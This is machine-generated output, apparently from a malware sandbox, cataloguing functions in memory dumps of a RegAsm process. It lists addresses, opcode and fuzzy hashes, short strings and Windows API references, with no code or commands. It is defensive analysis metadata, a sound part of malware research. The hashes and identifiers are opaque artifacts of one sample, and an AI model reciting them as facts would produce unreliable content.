Source File: 00000003.00000002.3223311804.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6140000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8da4259963e6aa6126138ceff89f47d8843f26f78238b5a7cf06de494b7da4ea
Instruction ID: daa1c5dda810d885d4dcc3633a07226969d5c2685975e3249c64042cf4899899
Opcode Fuzzy Hash: 8da4259963e6aa6126138ceff89f47d8843f26f78238b5a7cf06de494b7da4ea
Instruction Fuzzy Hash: 3241C571D012088FEB58DFAAD95479EFBF2AF88304F24C12AD418BB295DB355946CF50

Function 061465D4 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3223311804.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6140000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8af37897185ef870af574086bcbcef01aecaad6ee197c168193dbd3b17267bd4
Instruction ID: 7ea7a1d5591a1ef88212d5d99c5ef32be45a2d8c0b5469782a3a81bd142db353
Opcode Fuzzy Hash: 8af37897185ef870af574086bcbcef01aecaad6ee197c168193dbd3b17267bd4
Instruction Fuzzy Hash: 0E41E5B0E012488FEB58DFAAD9506DEFBF2AF89304F20C12AD418AB255DB355946CF50

Function 06148438 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3223311804.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6140000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bffa3c578b4cb0210bad0ca0908f44cc77b75ffe8abe30d67b39da70032b524c
Instruction ID: 33e8c29435258ddca2917245b03c643813d64915ea4134e16ea6b87d85fcd660
Opcode Fuzzy Hash: bffa3c578b4cb0210bad0ca0908f44cc77b75ffe8abe30d67b39da70032b524c
Instruction Fuzzy Hash: 8C41D571E01208CFDB58DFAAD9446DEBBF2AF88304F24C12AD418BB255EB345946CF50

Function 06146A29 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3223311804.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6140000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c57d3f8c7f3e8b3be7330f399f79589da873f07e0bfc8a33e5d8ae44ea1c138d
Instruction ID: 2d16005d6006152fb66e81ec68f9bc3b2f4806f58014c5f02929fa81be0fc158
Opcode Fuzzy Hash: c57d3f8c7f3e8b3be7330f399f79589da873f07e0bfc8a33e5d8ae44ea1c138d
Instruction Fuzzy Hash: 4941E570E01208CFEB58DFAAD95069EFBF2AF89304F20C12AD418BB255DB345946CF40

Function 06145470 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3223311804.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6140000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bac55b2695360fbce58441badf306dfb6b6852c4ace3b350bd84d4df8314c048
Instruction ID: 8b5eeeda8c4d1925ff0bd17bb06a2c7f83abb1a7fc5720ecc5983cd509ba6c5c
Opcode Fuzzy Hash: bac55b2695360fbce58441badf306dfb6b6852c4ace3b350bd84d4df8314c048
Instruction Fuzzy Hash: 1541E570E01248CBEB58DFAAD85479EFBF2AF88304F24C12AD418BB255DB345946CF50

Function 06144310 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3223311804.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6140000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48da1706a1286c78818acd6b139654c94ec9b77706a570caf817bb03a54a60ca
Instruction ID: 2c3ce7c18656eddb3cdfa657aedf0820937f160a3847e607cd1d167030144480
Opcode Fuzzy Hash: 48da1706a1286c78818acd6b139654c94ec9b77706a570caf817bb03a54a60ca
Instruction Fuzzy Hash: 8441C275E01208CBEB58DFAAD94479EBBF2AF89300F24C12AD418AB255EB345946CF50

Function 06144768 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3223311804.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6140000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 700e795c929c68982032cd6e0223809bc7984b18a81561b9fcb973b32ab39ec9
Instruction ID: ae4bde1b5a013ecd25f146b96e5da37897bece9d76025caa0e882ca4e42b924a
Opcode Fuzzy Hash: 700e795c929c68982032cd6e0223809bc7984b18a81561b9fcb973b32ab39ec9
Instruction Fuzzy Hash: 0041D370E012488BEB58DFAAD8547DEBBF2AF88304F24C12AD418BB255DB345946CF54

Function 06145018 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3223311804.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6140000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e7b05feff947f222401ef71e2b24bd1f25f0fb99082bb375981093bd2957129
Instruction ID: 1316205d2413d98e93e781c039d64ab7b79a77de787b8ec2194cc2c6ab0dacca
Opcode Fuzzy Hash: 6e7b05feff947f222401ef71e2b24bd1f25f0fb99082bb375981093bd2957129
Instruction Fuzzy Hash: D9410570E002088BEB58DFAAD8546DEFBF3AF88304F24D12AD418BB255EB345946CF54

Function 06143EB9 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3223311804.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6140000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d42ef77e5ff5a5987ee9dbd74d8a40f8d986cadf9a2808844eab59b52b9e1f7
Instruction ID: 8d07963a5fd816c55bf628f7a29b253fde969ea37de7f8577232ef148489964f
Opcode Fuzzy Hash: 3d42ef77e5ff5a5987ee9dbd74d8a40f8d986cadf9a2808844eab59b52b9e1f7
Instruction Fuzzy Hash: D141D470E012488BDB58DFBAD9546DDFBF2AF88304F24C12AD418AB299DB355946CF50

Function 06147733 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3223311804.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6140000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bba67908bf96b4a8011e7b29e209734c45467ecbd16a30e05b31a98db16d3114
Instruction ID: 9db6d6cff214b98fba4454b0ec27060f55333ff6480031d7868b86b357d14c22
Opcode Fuzzy Hash: bba67908bf96b4a8011e7b29e209734c45467ecbd16a30e05b31a98db16d3114
Instruction Fuzzy Hash: D341D671D012088BEB58DFAAD9446DDFBF2AF88300F64D12AD418BB295DB345946CF54

Function 0614617B Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3223311804.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6140000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c648512b35619f234f58ccff731afab937c1894c00961f4b045021bf23b4f66
Instruction ID: e174247a1c9fd9785a846d4621968f55c39bfe27337516b33b3ec2aa2be33e86
Opcode Fuzzy Hash: 9c648512b35619f234f58ccff731afab937c1894c00961f4b045021bf23b4f66
Instruction Fuzzy Hash: E041C270E01208CBEB58DFAAD95469EFBF2AF89304F24C12AD418AB259DB345946CF50

Function 06147FE3 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3223311804.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6140000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 303387308a68414bc86377dc85993f6e7d96bd518d446635d6b7847cf3682aff
Instruction ID: 075c353129a3c566e9ef0f081d58b3008a37dd9601828f11d86bb8a0232e1166
Opcode Fuzzy Hash: 303387308a68414bc86377dc85993f6e7d96bd518d446635d6b7847cf3682aff
Instruction Fuzzy Hash: F241E4B0E012488FDB58DFAAD85479EBBB2AF88300F24C12AD418AB255DB349946CF40

Function 06148CE9 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3223311804.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6140000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db1a729281c80f2ac1dff9ee23b686a1e0588769f6306eae0b02ca7ca8bdb9cb
Instruction ID: c3c20582901f11c47e03c31e2fbccc1eaf0b1dcd13e86194e73b9f57268ea746
Opcode Fuzzy Hash: db1a729281c80f2ac1dff9ee23b686a1e0588769f6306eae0b02ca7ca8bdb9cb
Instruction Fuzzy Hash: E241E870E01208CBEB58DFAAD9546DEFBF2AF88300F24C12AD419BB255DB355946CF40

Function 06144BC1 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3223311804.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6140000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e408a4d6b4cbe2f4524df4389d45899db367f36438db058302f414738ed497a1
Instruction ID: 21540c4a0fb4e25bff8f80441c4c08a7036f57e8069addccbb6ef9a1f8e24b0b
Opcode Fuzzy Hash: e408a4d6b4cbe2f4524df4389d45899db367f36438db058302f414738ed497a1
Instruction Fuzzy Hash: 6341C4B0E012488BEB58DFAAD9547DEFBF2AF88304F24C12AD418BB255DB355946CF50

Function 06148897 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3223311804.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6140000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2845bef8118522dea9d4eb3df6e174372cbfda029318bc2dfdbc5c2971a1a652
Instruction ID: 2363a53ce388567a667303e574cd3376e72e5d214493fa060bfbd1a830107945
Opcode Fuzzy Hash: 2845bef8118522dea9d4eb3df6e174372cbfda029318bc2dfdbc5c2971a1a652
Instruction Fuzzy Hash: B841D370E016488BDB58DFAAD9447DEFBB2AF88300F60C12AD419BB259DB359946CF41

Function 06145D2B Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3223311804.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6140000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11823fba555c079031c11b3de965995698c8feb87ea307eaad57628c1d39cf5b
Instruction ID: 8c100b4522efa65c5caa8445920f29fb94eb79ce5008141deb5c3f2281e6e506
Opcode Fuzzy Hash: 11823fba555c079031c11b3de965995698c8feb87ea307eaad57628c1d39cf5b
Instruction Fuzzy Hash: 7341D470E012088BEB58DFAAD94479EFBF2AF89304F24C12AD418BB255DB345946CF54

Function 06149140 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3223311804.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6140000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e02033ef19edd7a74e10f03c788688b7f0e42adb419cf798e33a1086046ffefd
Instruction ID: 05d663dc9009516d4cdf2ba4963e7d997132ab7b3595f742a7e166df22c17276
Opcode Fuzzy Hash: e02033ef19edd7a74e10f03c788688b7f0e42adb419cf798e33a1086046ffefd
Instruction Fuzzy Hash: 7E31C570E01208CBEB58DFAAD9446DEFBF2AF88300F64C52AD419BB259DB355946CF40

Function 0614BCB0 Relevance: 2.7, Strings: 2, Instructions: 233
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

LR]q, xrefs: 0614BDF9
LR]q, xrefs: 0614BCCC

Memory Dump Source

Source File: 00000003.00000002.3223311804.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6140000_RegAsm.jbxd

Similarity

API ID:
String ID: LR]q$LR]q
API String ID: 0-3917262905
Opcode ID: 505a17cc753b1926eb0d17468b13ea8e51acb7f90d1dc1327b78611023ac462c
Instruction ID: 70d581a7c488c9802300d29a277a4221384b4a2552ab8ac23109461a089a319b
Opcode Fuzzy Hash: 505a17cc753b1926eb0d17468b13ea8e51acb7f90d1dc1327b78611023ac462c
Instruction Fuzzy Hash: 7D818E34B141058FCB58EF79C894A6E77F6EF88604B1585A9E506DB3B1DB30EC02CB91

Function 0614B6A8 Relevance: 2.7, Strings: 2, Instructions: 213
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,aq, xrefs: 0614B77E
,aq, xrefs: 0614B788

Memory Dump Source

Source File: 00000003.00000002.3223311804.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6140000_RegAsm.jbxd

Similarity

API ID:
String ID: ,aq$,aq
API String ID: 0-2990736959
Opcode ID: 755bcc35f6de253ed85b3b3f9f099f2f01c21040bcae6ce460a8e5cd838be710
Instruction ID: 18b33ccd286c0e389dd7f9c035c5a35fd04d1dfafbc9dc3ae49d1c0a87f8b16c
Opcode Fuzzy Hash: 755bcc35f6de253ed85b3b3f9f099f2f01c21040bcae6ce460a8e5cd838be710
Instruction Fuzzy Hash: 2B81B034E0820BCFDB98EFA9C884A6EB7F6FF88301B158565D405973A5DB34E841DB91

Function 0614B1D8 Relevance: 2.7, Strings: 2, Instructions: 187
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Haq, xrefs: 0614B2D3
Haq, xrefs: 0614B306

Memory Dump Source

Source File: 00000003.00000002.3223311804.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6140000_RegAsm.jbxd

Similarity

API ID:
String ID: Haq$Haq
API String ID: 0-4016896955
Opcode ID: 88e91d9e39ad1c7e5a2f94c9afbc65529ac987318213dd3808bacd6267b740a9
Instruction ID: 7b75e6df85f044be0845b39358f6c00bea3bc42d5787f56742f2cd9ab7a9a8fe
Opcode Fuzzy Hash: 88e91d9e39ad1c7e5a2f94c9afbc65529ac987318213dd3808bacd6267b740a9
Instruction Fuzzy Hash: 4661EE31B082248FDB55AF74C844B6E7BF6FF89340F058869E906DB281DB74D801CBA0

Function 00F64CE1 Relevance: 1.7, APIs: 1, Instructions: 182COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 00F64D86

Memory Dump Source

Source File: 00000003.00000002.3220892692.0000000000F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_RegAsm.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 6715b015ab5ea559e709b84bfda83a29ce9ef6b9ca83faa8ecd9187288bc2e4c
Instruction ID: 6619ac5bb50d7b6d2d65f61690f20e6d6a729f428479c5ac0941bcba399fc981
Opcode Fuzzy Hash: 6715b015ab5ea559e709b84bfda83a29ce9ef6b9ca83faa8ecd9187288bc2e4c
Instruction Fuzzy Hash: 7A51D3308A0B26CFD3017F74EABC26A7F65FB4F7A3745AE01B11AAA450DB740464DE51

Function 00F64CF0 Relevance: 1.7, APIs: 1, Instructions: 178COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 00F64D86

Memory Dump Source

Source File: 00000003.00000002.3220892692.0000000000F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_RegAsm.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 82258611b0ade1aed69cd97a06f3e77bec9efbdbfa8cfe3a211e99345e6c9d42
Instruction ID: 9dfb624eb4f7ee9e52aa7e2997d135d70c1263f5dae659e5f030a30c658a4f43
Opcode Fuzzy Hash: 82258611b0ade1aed69cd97a06f3e77bec9efbdbfa8cfe3a211e99345e6c9d42
Instruction Fuzzy Hash: 3551C3308A0B26CFD3017F74AABC26A7F65FB4F7A3745AE00B11AAA450DF750464DA51

Function 0616F8F0 Relevance: 1.6, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,0616F8BE,?,?,?,?,?), ref: 0616F97F

Memory Dump Source

Source File: 00000003.00000002.3223373192.0000000006160000.00000040.00000800.00020000.00000000.sdmp, Offset: 06160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6160000_RegAsm.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 13eaeb6fe3987f2f7ca8b913534d33044c490bfe2d12b8c320e1d6313a09e305
Instruction ID: 25e5b125e1ce82aa09ab0955c6c133555896c3ef06a9c0635c0355995193fd86
Opcode Fuzzy Hash: 13eaeb6fe3987f2f7ca8b913534d33044c490bfe2d12b8c320e1d6313a09e305
Instruction Fuzzy Hash: BF2107B5900208AFDB10CF9AD984ADEFBF9EB48310F14841AE914B3210C378A940CFA1

Function 0616F28C Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,0616F8BE,?,?,?,?,?), ref: 0616F97F

Memory Dump Source

Source File: 00000003.00000002.3223373192.0000000006160000.00000040.00000800.00020000.00000000.sdmp, Offset: 06160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6160000_RegAsm.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 2214f4639eafbc7f08342d2122f35c467788059cb8ba06aa6082e60c155d7cf1
Instruction ID: 8d8d7d119d637bf5db6875eed9a23e36fc74b2a676c2577d1ca776ed65637c5d
Opcode Fuzzy Hash: 2214f4639eafbc7f08342d2122f35c467788059cb8ba06aa6082e60c155d7cf1
Instruction Fuzzy Hash: DC21E5B5900249AFDB50CF9AD984AEEFBF5EB48310F14841AE918B7310D378A954CFA5

Function 00F68CA4 Relevance: 1.6, APIs: 1, Instructions: 62libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(00000000), ref: 00F68DE7

Memory Dump Source

Source File: 00000003.00000002.3220892692.0000000000F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f699dfcaf3c571a469cce9d321f0c02f0cab914d260723ac6b6dc6fc7ffc346f
Instruction ID: 377a097297fb12639cb1dd35d6e53000cf663d66b6b20c2f30393a1e09286600
Opcode Fuzzy Hash: f699dfcaf3c571a469cce9d321f0c02f0cab914d260723ac6b6dc6fc7ffc346f
Instruction Fuzzy Hash: 08114F74E011098FDB04DFE8D884AEDBBB5FF98345F64C259E814A7282DB34D982DB60

Function 06149599 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3223311804.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6140000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd12325201c39660064a87f3e39a7ede7c5726fbff6454d96da2a94cd8b8ec1a
Instruction ID: 89184761f84ac4ef9868f00c3fa76abc327cec70cc6e9ea54d7a90a94b18cd2a
Opcode Fuzzy Hash: dd12325201c39660064a87f3e39a7ede7c5726fbff6454d96da2a94cd8b8ec1a
Instruction Fuzzy Hash: 2C819174E412698FDBA5DF29DD81BDDBBB2BB89300F1084EAD849A7254DB305E81CF40

Function 0614DAD9 Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3223311804.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6140000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0c7dea3f29748b4d1435798ec91c7421b91474a715557a6aff71c3763b6169b
Instruction ID: 78330c5330f7ee4a09646108b33271212590acd6c640e5befe9f7ecde6629991
Opcode Fuzzy Hash: e0c7dea3f29748b4d1435798ec91c7421b91474a715557a6aff71c3763b6169b
Instruction Fuzzy Hash: E171CF70E412289FEB64DF69DD50BD9BBB2AF89300F5080EAD55CA7290DB315E81CF41

Function 0614B350 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3223311804.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6140000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e07a085634beda8b2576a43150e6945dcf151f2ae223ccb14ae28c1517688fb7
Instruction ID: 80de0c142c617ecd995932324d8f1a69a855d5a2f6b4a024d0a84b0e57f17906
Opcode Fuzzy Hash: e07a085634beda8b2576a43150e6945dcf151f2ae223ccb14ae28c1517688fb7
Instruction Fuzzy Hash: 25418C30B082118FDB59AF79849473E7BE6AFC8290F188869D546CB396DF38CD42D791

Function 0614CDD8 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3223311804.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6140000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6bd3fd31f13558a8abb0808d481efd5387099ad199dc19757fafbffaaf87e51
Instruction ID: d2f0c6af45a8853a446f7fb3b3b0efe1630b054e1ce582a74f54c89c2234ef1d
Opcode Fuzzy Hash: f6bd3fd31f13558a8abb0808d481efd5387099ad199dc19757fafbffaaf87e51
Instruction Fuzzy Hash: AA61BF74E012289FDB64DF69DC50BDABBB2AF89300F5080E9E50CA7254DB315E81DF41

Function 0614A910 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3223311804.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6140000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 733f131ba040c865a81849180e8cfe6b7f3643a1e53235ac2c31b25917df494e
Instruction ID: fc4bbca8b29175782c0a5c14510b1edb740d68afefd2dadfd0e96470e2380c80
Opcode Fuzzy Hash: 733f131ba040c865a81849180e8cfe6b7f3643a1e53235ac2c31b25917df494e
Instruction Fuzzy Hash: 5D319031A402199FCF45AF64D844AAE3BA6FF88340F014424F9158B294CB36DD61EBE1

Function 00F0D404 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3220610378.0000000000F0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f0d000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3679da1ea2b34da6325e1e05433024cf5449d7a619e65ac82a933885c70ceaa
Instruction ID: 496ba005886ba0a4789705503452c840d74ce236f4ec203026e9c529cccbd0f2
Opcode Fuzzy Hash: d3679da1ea2b34da6325e1e05433024cf5449d7a619e65ac82a933885c70ceaa
Instruction Fuzzy Hash: 6921677A500244DFCB05CF94C9C0F26BF65FB94324F20C569E9090B296C33AE846F7A2

Function 0614B512 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3223311804.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6140000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63993fbfa438d411deb63aeafac26b959717b7b288689fe2c68dbbadb7c8a530
Instruction ID: d361dbe59e0c256c416d8b11d2888231ee61d36a0a8bd8d11170007ea93e5295
Opcode Fuzzy Hash: 63993fbfa438d411deb63aeafac26b959717b7b288689fe2c68dbbadb7c8a530
Instruction Fuzzy Hash: 9721AE35B056218FC769AB28C85462AF7A6ABC87517054568E90ACF354CF34DC02CBC0

Function 00F1D030 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3220679580.0000000000F1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f1d000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bade5f22eaa55d1b2626c158cc025f6fdfb97ae1fd15470a523ba91a53152867
Instruction ID: 85dfea53792baec30a8169a167f3fe2c93ad766ec4bf7539c475a997c3ac4ec7
Opcode Fuzzy Hash: bade5f22eaa55d1b2626c158cc025f6fdfb97ae1fd15470a523ba91a53152867
Instruction Fuzzy Hash: F2213471904204DFCB14DF14D9C0F26BBB5FB88324F24C66DD80A4B25AC33AD887EA62

Function 00F1D005 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3220679580.0000000000F1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f1d000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35ab005a9a2469649bfd5fd403412d29ca2052c8998bc5485cfec6887be8b775
Instruction ID: 9da5d128fb3a30baa533b266b2d195c5149596db764a384c6b52686cb829088c
Opcode Fuzzy Hash: 35ab005a9a2469649bfd5fd403412d29ca2052c8998bc5485cfec6887be8b775
Instruction Fuzzy Hash: 3D215C7150D7C09FCB07CB24D994711BF71AB46224F29C5DBD8888F2A7C23A984ADB62

Function 0614ECA8 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3223311804.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6140000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83ebdfeed0898e468cf15762842cfb1cf7dbbe5e5b8513d14c7b4da6ee454615
Instruction ID: 7d4cbad63b78fdffa5f6e1e811e4d1b86cef5237f4925329a9399e053c7c61dc
Opcode Fuzzy Hash: 83ebdfeed0898e468cf15762842cfb1cf7dbbe5e5b8513d14c7b4da6ee454615
Instruction Fuzzy Hash: B1210078D002099FCB04EFA4D988BEEBBB1FB88304F108969D814B3394DB785A54CF90

Function 00F0D3FF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3220610378.0000000000F0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f0d000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07d586b370810bf15e8d939e07fb0dccd80900219e7a08ccebccaf9c83e80135
Instruction ID: e5ac636c014eab113a4b8dd9196a807aec748938e8b13a606500763f605691b5
Opcode Fuzzy Hash: 07d586b370810bf15e8d939e07fb0dccd80900219e7a08ccebccaf9c83e80135
Instruction Fuzzy Hash: 0E112676804280CFCB16CF40D9C4B16BF71FB94324F24C5A9DD090B656C33AE85AEBA2

Function 0614BF40 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3223311804.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

